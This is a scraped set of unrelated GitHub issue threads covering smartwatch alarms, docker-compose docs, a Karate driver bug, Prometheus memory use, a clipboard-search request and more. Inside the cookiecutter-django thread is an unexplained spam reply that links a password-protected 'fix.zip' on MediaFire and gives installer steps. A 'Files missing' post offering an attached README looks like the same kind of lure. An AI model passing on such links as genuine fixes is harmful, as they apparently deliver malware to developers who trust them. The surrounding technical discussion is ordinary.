Allow toggling an alarm via clkinfo

Thanks!
The intended function seems to work well. But activating repeatable timers is a bit wonky.
Bug with repeatable timers
If a newly set timer has run out and is turned off, if I start it via the clock info entry it will run out again immediately. If I start it after a minute or two it will instead say it will run out in "24h".
Reproduce

Set a new timer in the alarm app for 15 seconds. Uncheck "Delete After Expiration".
Navigate to a clock face with clock infos on it (I used 'bwclk').
Wait for the timer to run out.
Click the now inactive 15 s timer on the clock info to restart it.
The clock info says "0m" (or "-1m") and the timer runs out immediately.
Wait a minute or two.
Click the inactive timer on the clock info again.
The clock info will say it will run out in "24h" and the timer will indeed not run out in the specified 15 seconds.

Nice finds! For events, perhaps we ignore these for now so the user can't toggle them, to avoid any confusion. For timers, I've made it so we restart the timer. What do you think?

I think that's a good idea to make events not toggleable for now - longer term maybe they shouldn't even be displayed in the same clock info? I don't know.
Some bugs

Toggling a timer or alarm on through the clock info removed all other alarms, timers and events completely!
Toggling off an alarm through the clock info doesn't actually disable it.

I think that's a good idea to make events not toggleable for now - longer term maybe they shouldn't even be displayed in the same clock info? I don't know.

Yeah I don't know either - I don't use them enough to have a good opinion.

Restarting the timer makes sense!

Sweet!

Some bugs

Toggling a timer or alarm on through the clock info removed all other alarms, timers and events completely!

I can't reproduce this - I had the IDE running, tapped on a disabled alarm and noticed that it became enabled - widalarmeta also activated, showing a countdown. It then fired at the time - this was created (but disabled) via the alarm app, is that what you're using?

Toggling off an alarm through the clock info didn't actually disable it.

Similarly, I created an alarm set for 1 minute's time, switched back to the clock and disabled it via clkinfo. The alarm didn't fire and I confirmed (with require("sched").getAlarms()) that it was off. Perhaps I have an odd setup? Do you have a sched.json that has some repros?

Thanks, and thanks for your testing so far too :)

Interesting - I'm GMT+0, shall take a look at whether that could be doing anything. These are the steps I'm following - perhaps I've missed something that brings up the bug?
Disabling an alarm

Create an alarm for 2 minute's time (via the alarm app)
Return to clock face
Confirm alarm is active (via both widalarmeta and seeing the alarm in clkinfo as active)
Tap alarm in clkinfo

Outcomes:

Observe it transitions to the inactive icon
Wait 2 minutes, confirm alarm doesn't fire

Enabling an alarm

Create a disabled alarm for 2 minute's time (via the alarm app)
Return to clock face
Confirm alarm is disabled (no widalarmeta shown, icon is disabled / has the little 'x')
Tap alarm in clkinfo

Outcomes:

Active icon is shown
widalarmeta appears, showing time to alarm (~1 min)
Wait 2 mins, alarm fires

Disabling an alarm
1. Create an alarm for 2 minute's time (via the alarm app)

2. Return to clock face

3. Confirm alarm is active (via both `widalarmeta` and seeing the alarm in clkinfo as active)

4. Tap alarm in clkinfo

Outcomes:
1. Observe it transitions to the inactive icon

2. Wait 2 minutes, confirm alarm doesn't fire

My outcomes for that disabling flow on factory reset, non-pretokenized apps, fw 2v24, bwclklight differs from yours:

The clock info transitions to the inactive icon.
widalarmeta does NOT stop displaying the eta.
Wait 2 minutes - the alarm fires anyway.

Enabling an alarm
1. Create a disabled alarm for 2 minute's time (via the alarm app)

2. Return to clock face

3. Confirm alarm is disabled (no `widalarmeta` shown, icon is disabled / has the little 'x')

4. Tap alarm in clkinfo

Outcomes:
1. Active icon is shown

2. `widalarmeta` appears, showing time to alarm (~1 min)

3. Wait 2 mins, alarm fires

For this enabeling flow I get the same result as you.

Test for "Toggling a timer or alarm on through the clock info removed all other alarms, timers and events completely!"

Connect to Web IDE.
Create two alarms and leave them enabled, I choose 12:00 and 14:00.
Return to clock face
Run require("sched").getAlarms() to see both alarms in the Web IDE console field. Both have on:true.
Toggle off the 12:00 alarm through the clock info.

notice widalarmeta does not change.

Run require("sched").getAlarms() to see both alarms in the Web IDE console field. Both have on:true.
Toggle on the 12:00 alarm through the clock info.
Run require("sched").getAlarms() to see ONLY THE 12:00 alarm in the Web IDE console field. The 14:00 alarm has been removed.

Also verifiable by opening the alarm app, then only showing the 12:00 alarm.

My outcomes for that disabling flow on factory reset, non-pretokenized apps, fw 2v24, bwclklite differs from yours:
1. The clock info transitions to the inactive icon.

2. `widalarmeta` does NOT stop displaying the eta.

3. Wait 2 minutes - the alarm fires anyway.

Interesting, I'll have a go at that - thanks for the IDE route as well!

I believe I have this fixed now, back to the original code but with timers working - thanks for your patience, thorough testing and advice, I appreciate it :)
To go back to your original questions:

Events set with "Delete After Expiration" unchecked will be toggleable via the clock info entry.

This may be confusing. A user may see the entry on the clock info and toggle it on and expect an alarm to go off at that time the next day but it will not go off until the next year (depending on configuration of the event).

Agreed - I think our two options are to hide the "Delete After Expiration" ones from clkinfo, or leave for now and see?

I think the icon for events should be different from the one for standard alarms.

Yes I think so, I'm no good with icons but I could have a whirl

Instead of clock time, maybe the date of the event should be displayed?

Sounds good!

Similar to the situation with events, maybe we want to differentiate between standard alarms that will not fire soon (the next time the clock is the time displayed on the clock info entry) and those that will not go off as soon?

Maybe writing a letter on the alarm icon corresponding to the weekday it will fire on next?

I like that idea, I could give that try too - maybe as a separate PR?

Regarding events I think we go a real long way by changing the icon (both in the app and clock info) to something like

or

from https://icons8.com/icons/set/event .
So maybe we could bring that in to this PR and then merge? Or we could do that + change to displaying date in a later PR.
What do you think?
I also think letters on alarms fits better in a separate PR!  I can't seem to get it to show though, I've encoded it as a 1-bit black/white Image String but it doesn't show up for me 🔍
(sorted the text too - left off the year for breverity, let me know what you think)

I also don't see the icon :thinking:
Otherwise - looking good!

What do you say we merge this?

Sounds good, yes please!

Thanks 🌸☺

My pleasure - out of interest, do you know how to go from an image string to the image itself? (For getting at some of these images)

I didn't test this myself but seems like a solution: https://onlinepngtools.com/convert-base64-to-png#tool

Thanks - it seems I might need a subscription but I've found another method (guessing at the dimensions - I've tried multiple):
$ base64 -D < alarm_on.b64 > alarm_on.raw
$ magick -depth 1 -size 8x8 rgb:alarm_on.raw alarm_on.png

Except I get back:
magick: unexpected end-of-file 'alarm_on.raw': No such file or directory @ error/rgb.c/ReadRGBImage/249.

Despite:
$ ls alarm_on.raw
alarm_on.raw

@gfwilliams how do you go from the base64 strings to an image?

The image format itself is covered in https://www.espruino.com/Graphics#strings - but it's unique to Espruino. You could use imagemagick after skipping the few bytes of header...
But what I do is just use Espruino. In the simplest case just draw the image to the screen and dump the contents of the screen (which you can then copy/paste from the IDE console), then manually crop it out:
let img = atob("GBiBAAAAAAAAAAAAAA//8B//+BgAGBgAGBgAGB//+B//+B//+B/++B/8+B/5+B8z+B+H+B/P+B//+B//+B//+A//8AAAAAAAAAAAAA==")
g.clear(1).drawImage(img).dump();

Or you can create a Graphics instance of the right size and dump that:
let img = atob("GBiBAAAAAAAAAAAAAA//8B//+BgAGBgAGBgAGB//+B//+B//+B/++B/8+B/5+B8z+B+H+B/P+B//+B//+B//+A//8AAAAAAAAAAAAA==")
let m = g.imageMetrics(img);
let t = Graphics.createArrayBuffer(m.width,m.height,m.bpp,{msb:true});
t.drawImage(img).dump();

Ah I see, so the first four bytes are a header in the string-only version, got it. Thanks!


Files missing

Hi!
I noticed that there are some files missing in this repository
I have attached them below.
README.md

Hi @loogabooga
I am glad you reached out to me. I will gladly add a readme, if you would be so kind to send me a fitting readme file, that is not some half-life 1 SDK shit, I would be glad to add it.


Update secure-score-comparison-bar.png

Changed the Screenshot as it has changed recently.

Issue#https://github.com/MicrosoftDocs/microsoft-365-docs/issues/6841

@JohanFreelancer9 Please copy review

@Dansimp Please merge this PR. Thanks


Allow transposition of X & Y axes.

Some people have X as the short axis and Y as the long one, opposite my normal setup. Add specification of this to the machine config so people don't have to muck with transposition in their control program.

Amazing thanks.
On Jan 25, 2015 6:26 PM, "Mike Magruder"<EMAIL_ADDRESS>wrote:

Some people have X as the short axis and Y as the long one, opposite my
normal setup. Add specification of this to the machine config so people
don't have to muck with transposition in their control program.
—
Reply to this email directly or view it on GitHub
https://github.com/mikemag/MonkeyCAM/issues/24.

a lot better than my suggestion of edit cut n paste technique!!!!


How about adding document for docker compose exec?

Description
https://github.com/cookiecutter/cookiecutter-django/blob/master/docs/developing-locally-docker.rst#execute-management-commands
The document says exec doesn't work for running management commands.
But actually we can use it with /entrypoint script as he said
I tested it as he said, like docker compose -f docker-compose.local.yml exec django /entrypoint python3 manage.py createsuperuser
It works fine.
How do you think just adding that command to document?
Rationale
Just add how to use command to document.

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

docker exec is something different than docker compose exec. docker exec django doesn't work since the container name or ID is required.

docker exec is something different than docker compose exec. docker exec django doesn't work since the container name or ID is required.

That's right. I am talking about docker compose exec.
docker exec doesn't work without container id or something as you said.
But as I said and the comment in #3224 , we can do it without running new container.
Let's say django container is running, then we can easily and faster do same thing with docker compose exec
But without /entrypoint, It wouldn't work as we expect.
So I think it's better to describe how to use it in document like below between docker compose run and docker exec explanation
As with any shell command that we wish to run in our container, this is done using the docker compose -f docker-compose.local.yml run --rm command:
$ docker compose -f docker-compose.local.yml run --rm django python manage.py migrate
$ docker compose -f docker-compose.local.yml run --rm django python manage.py createsuperuser

If django container is alreay run, you can do it same thing with docker compose exec.
$ docker compose -f docker-compose.local.yml exec django /entrypoint python manage.py migrate
$ docker compose -f docker-compose.local.yml exec django /entrypoint python manage.py createsuperuser

Here, django is the target service we are executing the commands against. Also, please note that the docker exec does not work for running management commands.

Yes you are correct.
As a mater of fact, we are trying to make the entrypoint script obsolete in https://github.com/cookiecutter/cookiecutter-django/pull/4862 and https://github.com/cookiecutter/cookiecutter-django/pull/4861 and in lesser extend https://github.com/cookiecutter/cookiecutter-django/pull/5327
If these PR's get merged /entrypoint ins't longer required and exec would work as aspected. Can you review these PR?


Add create contentlist

I added an option to create a c# source file which helps in handling the load of the resources from the nlp file.
Activate using a contentlist option like this
{
	"root": "",
	"references": [

	],
	"contentlist" :  "True",
	"content": {
		"roads": {
			"path": "3droads/*.gltf"

That will create a file ContentList.cs like :
using System.Collections.Generic;
namespace MgContentList
{
	public class ContentList
	{
		public class ContentListItem
		{
			public ContentListItem(string s, string n, string t) => (Section, Name, Type) = (s, n, t);
			public string Section;
			public string Name;
			public string Type;
		}
		public List<ContentListItem> Clist = new()
		{
			new ContentListItem("roads","3droads/roadTile_001","ModelProcessor"),
			new ContentListItem("roads","3droads/roadTile_002","ModelProcessor"),
			new ContentListItem("roads","3droads/roadTile_003","ModelProcessor"),
			new ContentListItem("roads","3droads/roadTile_004","ModelProcessor")
		};
	}
}

Which you can use in your application as :
            MgContentList.ContentList cl = new MgContentList.ContentList();
            foreach (MgContentList.ContentList.ContentListItem item in  cl.Clist.FindAll(i => i.Type == "ModelProcessor"))
                {
                    loadedModels.Add(Content.Load<Model>(item.Name));
                }

Current implementation works for me but I did not extensive testing.
If you like the addition, please let me know and I can update to improve.
Will probably need some help from you as I am not experienced in nuget packages,

Hell no. This is a really bad idea, on all levels. First of all, code  generation like that can and will cause problems. Second, this is not universal or flexible. Third, this simply should not be handled by Nopipeline. Instead, such things should be handled in your engine.
Check out my approach to querying the content list. Compatible with Nopipeline.
https://github.com/Martenfur/Monofoxe/blob/develop/Monofoxe/Monofoxe.Pipeline/ResourceInfo/ResourceInfoImporter.cs
https://github.com/Martenfur/Monofoxe/blob/develop/Monofoxe/Monofoxe.Engine/Resources/DirectoryResourceBox.cs

No problem.
Will look into your solution(s)


Node zoom API

Adds node zooming methods.

Do graph.zoom(dataNode) to zoom in on a node programmatically.
Do graph.on('zoom', (dataNode) => {}) to listen for node zoom changes.

This allows 0x to implement history management, like updating the
URL hash when a user zooms in on an entry and telling the graph to
zoom in on a different node when the user goes back in the browser
history.
Previously it was not possible to pick a different node while a zoom
animation was ongoing. It was not a problem because users could just
wait the few 100ms to click the next node. However, with the
programmatically controlled graph.zoom() function, it's feasible to
flick through nodes very quickly; eg when connected to the browser back
button. Without this patch you could end up with an outdated state
because zoom calls were ignored for 500ms.
With this patch, a zoom call mid-zoom cancels the animation and starts
a new animation. It starts it from the current, mid-animation position
as well, so it's nicely smooth! I also fixed a bug where stacks would
pop out of existence instead of animating away (they where hidden based
on their target width, instead of their current mid-animation width.)

Example: https://upload.clinicjs.org/public/509680025b4cc97cec5a7e2eaacdb90c10c5585ba70b7bb8656bc3985db468c1/8353.clinic-flame.html


Chrome Driver with Karate 1.0.1 does not get frame tree

In Karate 0.9.6 I was able to use the driver.send({ method: 'Page.getFrameTree' }) command to get the frametree which contained the unreachableUrl so I could get a value returned on a redirect to a nonexistant page.
When I upgraded to 1.0.1 the previously written code does not work.  I found the solution was to add
        if (result != null) {             map.put("result", result);         }
back to the toMap method in DevToolsMessage.java that was removed in this commit:
https://github.com/intuit/karate/commit/8f7d6e03604374a85fe7b8d52c81a23c2a45cace#diff-446634215c4ea0b238ab34920e7693aef931e0af453293a7cefd11119093a666L217
I've created an issue so I can create a PR to fix the issue.
I also would like to create a built in way to get the unreachable URL via adding the code below in DevToolsDriver.java
    public String getUnreachableUrl() {         DevToolsMessage dtm = method("Page.getFrameTree").send();         return dtm.getResult("frameTree.frame.unreachableUrl", String.class);     }
I've created a simple project to show the failure.
myproject.zip
Running mvn clean test will show that for cases where the url is not valid, the url will not return what is displayed in the chrome browser but will return 'chrome-error://chromewebdata/' hence the need to get the unreachableUrl which is returned in the frameTree.
Note:  I reported the issue here on stack overflow: https://stackoverflow.com/questions/68491640/chrome-driver-with-karate-1-0-1-does-not-get-frame-tree

@PBMax02 this is perfect, you are right - I may have removed that result prop my mistake and will add a test to make sure it doesn't happen again.
also P.S. please see this: https://twitter.com/KarateDSL/status/937271659785961477

interestingly, the test I added broke the build on CI / linux, while it worked fine on localhost. let me try once more using localhost

@PBMax02 just for reference, this is code that works, there's no need for extra conversions to map or json:
* driver 'https://invalid/url'
* def frameTree = driver.send({ method: 'Page.getFrameTree' })
* def unreachableUrl = frameTree.result.frameTree.frame.unreachableUrl
* match unreachableUrl == 'https://invalid/url'

right now I'n not in favor of adding a getUnreachableUrl() url. you can see this commit - until I switched the test case to run first, it was failing - the attempt to navigate chrome to an "unreachable" URL was causing the command to fail. and I don't know why. it feels suspiciously like one of those things that will change in chrome.
you are welcome to do some research into the CDP and make a case for what the purpose of that unreachableUrl in the frames result is and under what conditions it appears etc.

interestingly, the test I added broke the build on CI / linux, while it worked fine on localhost. let me try once more using localhost

It works when running in headless mode.  Only when running in nonheadless does it have the behavior as I described.

@PBMax02 just for reference, this is code that works, there's no need for extra conversions to map or json:
* driver 'https://invalid/url'
* def frameTree = driver.send({ method: 'Page.getFrameTree' })
* def unreachableUrl = frameTree.result.frameTree.frame.unreachableUrl
* match unreachableUrl == 'https://invalid/url'

right now I'n not in favor of adding a getUnreachableUrl() API. you can see this commit - until I switched the test case to run first, it was failing - the attempt to navigate chrome to an "unreachable" URL was causing the command to fail. and I don't know why. it feels suspiciously like one of those things that will change in chrome: 42aa6e7
you are welcome to do some research into the CDP and make a case for what the purpose of that unreachableUrl in the frames result is and under what conditions it appears etc.

This is what I worked out to get the unreachable url without failing if it is not found in the frametree
    public String getUnreachableUrl() {         DevToolsMessage dtm = method("Page.getFrameTree").send();         Json json = Json.of(dtm.getResult().getValue());         return json.getOrNull("frameTree.frame.unreachableUrl");     }

@PBMax02 before implementing that I wonder what happens if there are multiple frames and one of them is unreachable etc. IMO this needs more thought

@PBMax02 before implementing that I wonder what happens if there are multiple frames and one of them is unreachable etc. IMO this needs more thought

ah.  I got you now.  Ok.  The original fix is what I needed to move forward.  And your optimized code I can implement to make it more streamlined!  Thanks for the fix and the guidance here.

Just curious is there is a schedule for when the next RC will be cut so I can integrate this in my maven build.  I pulled code and tested it locally as working if you needed confirmation.  I'm sure the newly added e2e test verified that :)

should be this week itself, 1.1.0 final. just waiting on a couple of other tickets

1.1.0 released


Support Open Remote Repo in GitHub Code menu

Can "Open as Remote Repository in VSCode" be added to this menu? I suspect this might need to be done w/ an extension.

When I'm logged in, there's also an "Open with Visual Studio" option.

I mean if Open with VIsual Studio is allowed then I don't see why "Visual Studio Code" wouldn't be.
It should have a URL handler, e.g. vscode-git://path/to/my/repo that would work with other providers e.g. gitlab/etc.

good idea.

@jianboy it does have a remote URL handler as discussed in https://github.com/microsoft/vscode-remote-repositories-github/issues/2#issuecomment-865399969, so as a workaround you can put this in your repo README for others to use.

In fact, this question is not about the function of ”vscode-remote-repositories-github“ plugin, but he suggest github website add a drop-down box. so you can use vscode to open any project.
@JustinGrote
Adding a VSCode link in README.md is a good idea. But you should know all the current github repositories don't have the URL. So adding a drop-down box is the best way.

@jianboy agreed having it in the github menu is ideal, my recommendation is just a stop-gap workaround.

We don't need to install vscode at all.
githuub can add a vscode remote button.

and browsing the code online is the best solution. And there are mature similar solutions.

So you're basically asking for github1s.com to be natively integrated into Github it sounds like :)

@JustinGrote
Great minds think alike.

@jianboy I made a tampermonkey script to do this.

https://gist.github.com/JustinGrote/0148f9accc7355f650cd0a0f6b404fa5

Not the official VS Code extension, but very nice idea! ❤ Maybe you could even move the icon into the "Code" menu as proposed by @jianboy?

@jianboyEu fiz um script tampermonkey para fazer isso.
https://gist.github.com/JustinGrote/0148f9accc7355f650cd0a0f6b404fa5

@jianboy I made a tampermonkey script to do this.
https://gist.github.com/JustinGrote/0148f9accc7355f650cd0a0f6b404fa5

Doesn't seem to work anymore :( i tried to fix it but i couldn't..

In the meantime i updated @JustinGrote 's script:

https://gist.github.com/aetonsi/26d4257e439a94dfacb5b230fb4b438a

I added a "clone" button.
The "open" button doesn't, since i don't know which vscode:// URL to open in order to emulated VSCode's Open Remote Repository/Open Repository from Github functionality. I tried with vscode-vfs:// URLs, no luck..
Discussion here:

https://gist.github.com/JustinGrote/0148f9accc7355f650cd0a0f6b404fa5?permalink_comment_id=4597081#gistcomment-4597081


docker-machine env save permanently in Windows

Is there feature to save env permanently in User space ?
Now if I run env it save it in current shell, but some cases i prefer to save it permanently. Is it possible ?
I know how to do it in Linux/Mac. But i'm not very good with powershell.
f.e. iterate with output and make
$DOCKER_IP = &docker-machine ip
[Environment]::SetEnvironmentVariable("DOCKER_CERT_PATH", "$env:USERPROFILE\.docker\machine\machines\default", "User")
[Environment]::SetEnvironmentVariable("DOCKER_HOST", "tcp://$($DOCKER_IP):2376", "User")
[Environment]::SetEnvironmentVariable("DOCKER_MACHINE_NAME", "default", "User")
[Environment]::SetEnvironmentVariable("DOCKER_TLS_VERIFY", "1", "User")

Try in cmd with SETX instead of SET. https://ss64.com/nt/setx.html


Do not attempt isolation for appendID == 0

Easy fix.
Now the memory usage on my production server is 7.7GB vs 6.5GB (container_memory_working_set_bytes), 18% increase. That's more what we expected. (Heap size is currently even smaller, but that might change after longer runtime.)

https://github.com/prometheus/prometheus/pull/6841#issuecomment-592805023 for context.

:+1:
Should we have a unittest for this?

Great joy: After 12 hours of running this, the server with isolation takes less memory, for both container_memory_working_set_bytes and go_memstats_heap_alloc_bytes. (However, I think the original prombench results from #6841 are valid because that instance never had to replay the WAL.)
I'll follow up with more results after the server has run for the weekend. I will also add unit tests. They are trivial, but that also means they are easy to add.

CPU usage is about 10% increased (1.1 vs. 1.0, so not much in absolute terms anyway). The server is rarely queried but has about 700 rules.

Tests added.

Resource usage after running the described relatively light-weight but somewhat rule-heavy production server for a day:

Memory usage is essentially unaffected (I even see slightly lower memory usage right now, but that's just noise.)
CPU usage +10% (but low in absolute terms: 1.1 cores instead of 1.0)
Average rule evaluation time up from 11ms to 26ms. 99th percentile up from 140ms to 220ms.

I guess rule evaluation is more affected than the usual heavy range query for a dashboard because it almost exclusively deals with samples where the appendIDs have to be checked.

thanks.
don't forget that rules also write to tsdb, which also now has a small overhead and locks.

don't forget that rules also write to tsdb, which also now has a small overhead and locks.

Right, so it might not be so much query related.

Great joy: After 12 hours of running this, the server with isolation takes less memory, for both container_memory_working_set_bytes and go_memstats_heap_alloc_bytes. (However, I think the original prombench results from #6841 are valid because that instance never had to replay the WAL.)
I'll follow up with more results after the server has run for the weekend. I will also add unit tests. They are trivial, but that also means they are easy to add.

Can you please tell us the version of master without isolation? Is it master minus isolation or 2.16.0? Not sure if that explains but we made some memory savings around Postings since 2.16.0.

That might explain it… In our production environment, I'm running v2.16.0 vs. this PR, while prombench was always tip of master vs. this PR.

Memory saving PR is #6676


Error: The request timed out - While attemping to pull the latest image.

Recently upgraded the gitlab-tart-executor to version 13. And, build started to fail, due to Error: The request timed out.
The build ran for 1hr and showed before showing the timeout error.

Note

tart run sonoma-xcode works like a charm. It only fails while running via the gitlab executor.
tart list (Also the latest version of the image already exist on the machine)

Thank you,

Could you please try to tart pull ghcr.io/cirruslabs/macos-sonoma-xcode:latest on the machine? This image just got updated and it seems your host is failing to download it.

Could you please try to tart pull ghcr.io/cirruslabs/macos-sonoma-xcode:latest on the machine? This image just got updated and it seems your host is failing to download it.

@fkorotkov - The issue got resolved after manually pulling the image. Thank you so much


Additional Mobile Controls

on mobile screen, is it possible to add up, left, right ,down button (like google map) and disable dragging using touch ?  Currently, when embedded on a page, the page unable to scroll.

Can this be done for browsers also? In addition of mouse control, navigational button can also be used. Is it possible to do and if yes, how?

Hi, pannellum is really great !!
I would love to see direct support of gyroscope/accelerometers on mobile too.
I read about some tests with gyro.js in issue #82
but I think looking at the javascript code supporting the Bubb.li app for iPhone could be interesting: http://sdk.bubb.li/
It lacks a lot of features of Pannellum but it is designed for mobile and it is fast !

this bubb.li lib seems better than gyro.js

There is a "Device orientation API" pull request #131

so that means it is impossible to implement the gyroscope in panellum ?

It just means something else needed to be implemented first.

Custom controls can now be added using the API. See #168 for an example.


feat(NIST 800-53 rev 5): adding NIST 800-53 rev 5 rule pack

Resolves #407
Creating a new pack for NIST 800-53 rev 5 instead of updating rev 4.

There were cases were rev 4 had rules that rev 5 did not have
There were cases were rev 5 had rules that rev 4 did not have
Control IDs were different

This gives developers the option to use both (or one) of the packs if they wish

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache-2.0 license

Luckily in this case no new rules had to be created (re-used rules from other packs). The major thing to look at in this PR is the documentation with specific attention to Control IDs

RULES
Class file
Rule descriptions on the rules. Sorry 😄


Device Id Issue

Hi all,
Every time I do a first installation on iOS device onDeviceId callback is called. When I reinstall it everything is fine, I have to manage first installation?
Thank you.

Hello @bruzzers ,
The onDeviceId detects, whether the device identifier (identifierForVendor) has been changed. It can be triggered after reinstallation of the application if there are none other applications from the same vendor installed. What is meant by "every time I do a first installation"? Is it happening on more devices?
Kind regards,
Talsec team

Hello @msikyna,
the callback is called only on the first installation, when device hasn't my app installed and not on reinstallation. It happens on all iOS devices, physical and simulator.


Feature Request: Add UPNP Support.

Problem details
Some home internet routers these days purposefully block users from using manual port forwarding. They do however still support UPNP for gaming services and such. Having a gui node like this, the use case seems to be mostly for home users. This being the case, I think it would be a very valuable feature for many home users to get up and running with no hassle.
In my case, unfortunately, I need to buy a new router and put my ISP router in passthrough mode (which is expensive). Otherwise I can switch ISPs (might do) or somehow find a way to manually push a UPNP.
What went wrong and what should have happened?
I started the program, it said my ports are closed. I checked my windows firewall to make sure it was letting things through, then checked my router and added the ports to its port forwarding settings. Then when it was not working I found out that my ISP modified the firmware to ignore those and only allow UPNP.
What should have happened:
Program starts, it handles the ports behind the scenes, and then the user does not need to worry about it.
To summarize, UPNP would be a very good convenience feature for many users, and it is currently necessary for me.
If there is a better place to submit feature requests than here, please let me know :) Thank you.

Hey, thanks for the feature request. I'll check this out.

Update: found out that windows firewall still blocks all ports when the firewall is set to "disabled". I added the forward rule and it works fine now. I would love if nice-node supported both UPNP as well as automatic windows firewall rule addition. These two features together would make setup truly 1-click for a home windows PC user.

Update: found out that windows firewall still blocks all ports when the firewall is set to "disabled". I added the forward rule and it works fine now. I would love if nice-node supported both UPNP as well as automatic windows firewall rule addition. These two features together would make setup truly 1-click for a home windows PC user.

absolutely

+1 If you have any links or commands on hand to help us add this more quickly


[Feature Request] type to search history

Sometimes I wish I could search the history to avoid re-copying something again.
B.T.W. I have used ClipMenu for years. Good Job.

@hewigovens Search the history is scheduled to be implemented by the end of the year. Please wait a little more.
Thank you for using Clipy 😄

voting for this too, thanks

When will there be a new release?
Looking forward to the history search function.

This feature would make this product perfect :)

Still waiting, implement this feature ASAP please. Ready to donate.

Hi, everyone
Sorry for the delayed implementation
I will implement search history on top priority!

+1

vote for this feature too, thanks for such a good tool!

@Econa77
Today is 2018, is this inprogress?
I want a hotkey to populate a window to search history and click to paste it.

any progress? really looking forward for this enhancement

@Econa77 +1
You must be really busy, is there any-way we (community) can help?
Thanks for building this awesome tool 👍

Currently each copy is represented as plist file on disk, we want some
index to search on, I would change this to use sqlite or some embedded
datastore..
On Mon, Apr 23, 2018 at 2:39 PM, Harendra Singh<EMAIL_ADDRESS>wrote:

@Econa77 https://github.com/Econa77 +1
You must be really busy, is there any-way we (community) can help?
Thanks for building this awesome tool 👍
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/Clipy/Clipy/issues/88#issuecomment-383545611, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAdpUaSeFbe8-QTpG-IJhvq0HnI1e2R-ks5trb2IgaJpZM4JF8U-
.

I hope we'll get it in 2019.
@jobwat Maybe someone picked Clippy code and made some changes and pushed it to App store :)

Any plans to release such functionality anytime soon ?

+1 - would really like to see this, similar with what Ditto has on Windows - you just open the whole history and whatever you type is already searched for

nudge

Yet another happy user hoping for this to be implemented

Yet another fan of the product, who would very much like a search feature.

i aslo wait this feature)

Been a big Clipy user but similar to @ jobwat, I looked for an option with search elsewhere.
Found a decent, open option called Maccy: https://github.com/p0deje/Maccy.

Been a big Clipy user but similar to @ jobwat, I looked for an option with search elsewhere.
Found a decent, open option called Maccy: https://github.com/p0deje/Maccy.

thanks!


GUI Crash when Remotedesktopconnectionwindow is resized

Synctrayzor crashes with the GUI when i remote into another PC and the Remotedesktopwindow is resized.
They GUI then becames just like a picture. Resizing the Synctrayzor menu doesnt help.
Anyone got an idea to fix this? Thanks! :)

They GUI then becames just like a picture

What does this mean? Is it something you can take a screenshot of?

Syncthing running on the other machine
log in to the machine via remotedesktopconnection on Windows (to the other windows machine)
Synctrayzor GUI crashes, like shown, syncthing running further.

Interestingly it does only happen to my notebooks not my windows server 2016.

Interesting. Have you tried disabling hardware rendering, in File -> Settings?

I now have disabled hardware rendering. Same result. After logging into the remote session the Synctrayzor window is white. Resizing kinda crashes the GUI. As you can see it does not do the adjustments for a small window (like mobile phone websites) and with making the window bigger the new space is white as background.

The GUI does not respond to clicks anymore. And F5 does not work either.

I'm afraid I have no idea - it's some strange interaction between Remote Desktop and the .NET Framework.

Version 1.1.26 includes the latest version of the embedded browser. Please re-open if you can reproduce the issue with that version. Thanks!

Version 1.1.26 includes the latest version of the embedded browser. Please re-open if you can reproduce the issue with that version. Thanks!

Problem has been solved since the embedded browser update. Works flawlessly since then!
Thanks a lot!!!!

Version 1.1.26 includes the latest version of the embedded browser. Please re-open if you can reproduce the issue with that version. Thanks!

Problem has been solved since the embedded browser update. Works flawlessly since then!
Thanks a lot!!!!

Good to hear, thanks for letting me know.

Good to hear, thanks for letting me know.


[docs-infra] Update CodeSandbox links

Closes #39969 by replacing all instances of codesandbox.io/s/ with codesandbox.io/p/sandbox/

[x] I have followed (at least) the PR section of the contributing guide.

For info the file used to generate codesandbox is here (see openSandbox method): https://github.com/mui/material-ui/blob/master/docs/src/modules/sandbox/CodeSandbox.ts
From the documentation I don't see modification in the API, so not sure we can do something about those redirects: https://codesandbox.io/docs/learn/sandboxes/cli-api#post-form
Our responsibility ends when sending file content to https://codesandbox.io/api/v1/sandboxes/define
Then it's codeSandbox that opens the wrong URL and do a redirect


Allow multiple peek/references widget or store history

It would be very helpful to allow more than one set of references / location list / peek widget to be shown at the same time.
For example, in this image I'm looking at all IpcMessage derived types. If I want to look at the references of IpcQuit, the derived type reference view is closed and cannot be easily retrieved (especially if I've navigated to a separate part of the code base).

dupe of #6857


Settings conflict

I noticed that when trying to run the clojure-lsp diagnostic command informing some settings through arguments, these were not considered during execution.
Command example:
$ lein clojure-lsp diagnostics --settings '{:clj-depend {:snapshot? true}}'

In the end, the project settings were concatenated with commands and the result was:
diagnostics --settings '{:clj-depend {:snapshot? true}}' --settings '{}'

This way, the settings passed as parameters would never be considered.

To resolve this in the PR https://github.com/clojure-lsp/lein-clojure-lsp/pull/9, I am merging the configurations when there are both project settings and command arguments with settings.


The extension 'xxx' is making a request to external service.

we are importing some branding logos to one of our app pages using HttpClient Binary downloads.
it was not prompting any screen earlier but now it is showing below screen. is there anyway to hide this also automatically make it allow always..

Hi! Documentation about this feature will be out soon. You can change the setting by going to Extension Management and selecting Configure for your extension.

I didn't find any Configure option in extension management page in RC2. (is it for changing the selection?)
what about handling thru in code?

You will not see the option at the moment because we are waiting for a new license. You can change the setting by inserting a record in the Nav App Setting table 2B + 1 for your extension. You should only do this if you are sure that your extension will work fine in both a sandbox and production. You can also take advantage of the procedures on the Tenant Management codeunit to get information about the environment your extension is running in.

right now, getting below error while trying to install.
You do not have the following permissions on TableData NAV App Setting: Insert.

Ok. Now you've hit issue #3612 . We are working on pushing a license update out. We are in the process of testing the latest bits. Can you try to not use the HttpClient during the installation of your extension?

Does it work for both existing and new customers (new table insertion)? do we have to provide any extra permission inside object like for Ledger Entries?

@pmohanakrishna I am not sure I understand. Could you please provide more information? (Please keep in mind that I am working on the compiler so I have limited knowledge when it comes to the application)


Named export 'SourceMapSource' not found in bundler-plugin-core dependency (webpack-sources)

Environment
Vite 4 with pure ESM

Node 18.15.0
Yarn 3.5.0
Vite 4.2.1
@sentry/vite-plugin 0.7.0

Steps to Reproduce

Install and configure @sentry/vite-plugin in a { "type": "module" } project
Run Vite's build command

Configuration:
createSentryPlugin({
  org: '[redacted]',
  project: '[redacted]',
  include: './dist',
  authToken: environment.VITE_SENTRY_AUTH_TOKEN,
  telemetry: false
}),

Expected Result
